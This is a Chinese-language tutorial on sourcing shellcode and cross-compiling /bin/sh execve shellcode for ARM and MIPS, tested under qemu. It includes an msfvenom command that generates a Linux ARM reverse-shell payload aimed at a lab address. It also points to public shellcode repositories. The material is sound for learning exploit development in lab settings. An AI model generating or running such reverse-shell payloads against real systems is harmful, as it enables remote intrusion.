文章目录
shellcode 通用编写方法
获得shellcode一般有如下五种办法:
- pwntools: asm(shellcraft.arm.linux.sh(),arch=’arm’)
- msfvenom: msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f py -o msf.py
- shell-storm: http://shell-storm.org/shellcode/
- exploit-db: https://www.exploit-db.com/shellcodes
- 自己编译:StarCTF 2021 RISC-V Pwn Favourite Architecture: shellcode 编写练习
本次简单介绍下如何通过 www.exploit-db.com 获得 shellcode 源码,然后再交叉编译成不同平台的可执行文件的过程,可执行文件的功能是可以通过 /bin/sh 执行 shell 命令。
编写 ARM shellcode
进入网站后选择左侧菜单栏的 SHELLCODE,然后在右上角搜索 ARM 版的 shellcode。
拷贝代码到新建文件中,重命名为 execve_arm.c,选择合适版本的交叉编译链,静态编译源码为目标架构的可执行程序。
静态编译
armv6l-gcc -o execve_arm execve.c --static
查看程序架构信息
readelf -h execve_arm
ELF 头:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
类别: ELF32
数据: 2 补码,小端序 (little endian)
版本: 1 (current)
OS/ABI: UNIX - System V
ABI 版本: 0
类型: EXEC (可执行文件)
系统架构: ARM
版本: 0x1
入口点地址: 0x816c
程序头起点: 52 (bytes into file)
Start of section headers: 67052 (bytes into file)
标志: 0x4000002, Version4 EABI, <unknown>
本头的大小: 52 (字节)
程序头大小: 32 (字节)
Number of program headers: 4
节头大小: 40 (字节)
节头数量: 27
字符串表索引节头: 24
qemu 本地运行验证是否可用
qemu-arm-static execve_arm
ubuntu@ubuntu-virtual-machine:~/compile$ qemu-arm-static execve_arm
Shellcode Length: 32
$ ls -al
total 110168
drwxrwxr-x 8 ubuntu ubuntu 4096 Aug 3 11:09 .
drwxr-xr-x 68 ubuntu ubuntu 4096 Aug 3 09:29 ..
drwxr-xr-x 10 ubuntu ubuntu 4096 Apr 5 2009 armv4l
drwxr-xr-x 10 ubuntu ubuntu 4096 Apr 5 2009 armv5l
drwxr-xr-x 12 ubuntu ubuntu 4096 Mar 16 2017 armv6l
-rw-rw-r-- 1 ubuntu ubuntu 345 Jul 30 14:07 execve.c
-rwxrwxr-x 1 ubuntu ubuntu 80062 Jul 30 14:08 execve_arm
-rwxrwxr-x 1 ubuntu ubuntu 4049876 Jul 30 14:27 execve_arm7
-rwxrwxr-x 1 ubuntu ubuntu 38067 Jul 30 15:06 execve_mips
-rw-rw-r-- 1 ubuntu ubuntu 805 Jul 30 15:06 execve_mips.c
-rwxrwxr-x 1 ubuntu ubuntu 38035 Jul 30 14:58 execve_mipsel
-rw-rw-r-- 1 ubuntu ubuntu 486 Jul 30 14:58 execve_mipsel.c
drwxr-xr-x 8 ubuntu ubuntu 4096 Nov 19 2017 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf
-rw-r--r-- 1 ubuntu ubuntu 108376348 Jul 30 14:19 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf.tar.tar
drwxr-xr-x 11 ubuntu ubuntu 4096 Oct 29 2020 mips
drwxr-xr-x 10 ubuntu ubuntu 4096 Apr 5 2009 mipsel
-rwxrwxr-x 1 ubuntu ubuntu 38172 Jul 30 10:18 shellcode
-rw-rw-r-- 1 ubuntu ubuntu 593 Jul 30 10:34 shellcode.c
-rwxrwxr-x 1 ubuntu ubuntu 80137 Jul 30 10:35 shellcode_arm
-rwxrwxr-x 1 ubuntu ubuntu 38172 Jul 30 10:18 shellcode_mipsel
$
验证成功,可以继续编译 mips 的版本了。
编写 MIPS shellcode
同样的步骤,在右上角搜索栏搜索 mips,根据实际需要选择大端或小端,我这里选择的是大端。
复制源码到新建文件中,重命名为 execve_mips.c,选择合适版本的交叉编译链,静态编译源码为目标架构的可执行程序。
静态编译
mips-gcc -o execve_mips execve_mips.c --static
查看程序架构信息
ELF 头:
Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
类别: ELF32
数据: 2 补码,大端序 (big endian)
版本: 1 (current)
OS/ABI: UNIX - System V
ABI 版本: 0
类型: EXEC (可执行文件)
系统架构: MIPS R3000
版本: 0x1
入口点地址: 0x4002a0
程序头起点: 52 (bytes into file)
Start of section headers: 28100 (bytes into file)
标志: 0x1007, noreorder, pic, cpic, o32, mips1
本头的大小: 52 (字节)
程序头大小: 32 (字节)
Number of program headers: 4
节头大小: 40 (字节)
节头数量: 20
字符串表索引节头: 17
qemu 本地运行验证是否可用
qemu-mips-static execve_mips
ubuntu@ubuntu-virtual-machine:~/compile$ qemu-mips-static execve_mips
sc size 52
$ ls -al
total 110168
drwxrwxr-x 8 ubuntu ubuntu 4096 Aug 3 11:09 .
drwxr-xr-x 68 ubuntu ubuntu 4096 Aug 3 09:29 ..
drwxr-xr-x 10 ubuntu ubuntu 4096 Apr 5 2009 armv4l
drwxr-xr-x 10 ubuntu ubuntu 4096 Apr 5 2009 armv5l
drwxr-xr-x 12 ubuntu ubuntu 4096 Mar 16 2017 armv6l
-rw-rw-r-- 1 ubuntu ubuntu 345 Jul 30 14:07 execve.c
-rwxrwxr-x 1 ubuntu ubuntu 80062 Jul 30 14:08 execve_arm
-rwxrwxr-x 1 ubuntu ubuntu 4049876 Jul 30 14:27 execve_arm7
-rwxrwxr-x 1 ubuntu ubuntu 38067 Jul 30 15:06 execve_mips
-rw-rw-r-- 1 ubuntu ubuntu 805 Jul 30 15:06 execve_mips.c
-rwxrwxr-x 1 ubuntu ubuntu 38035 Jul 30 14:58 execve_mipsel
-rw-rw-r-- 1 ubuntu ubuntu 486 Jul 30 14:58 execve_mipsel.c
drwxr-xr-x 8 ubuntu ubuntu 4096 Nov 19 2017 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf
-rw-r--r-- 1 ubuntu ubuntu 108376348 Jul 30 14:19 gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf.tar.tar
drwxr-xr-x 11 ubuntu ubuntu 4096 Oct 29 2020 mips
drwxr-xr-x 10 ubuntu ubuntu 4096 Apr 5 2009 mipsel
-rwxrwxr-x 1 ubuntu ubuntu 38172 Jul 30 10:18 shellcode
-rw-rw-r-- 1 ubuntu ubuntu 593 Jul 30 10:34 shellcode.c
-rwxrwxr-x 1 ubuntu ubuntu 80137 Jul 30 10:35 shellcode_arm
-rwxrwxr-x 1 ubuntu ubuntu 38172 Jul 30 10:18 shellcode_mipsel
$
成功运行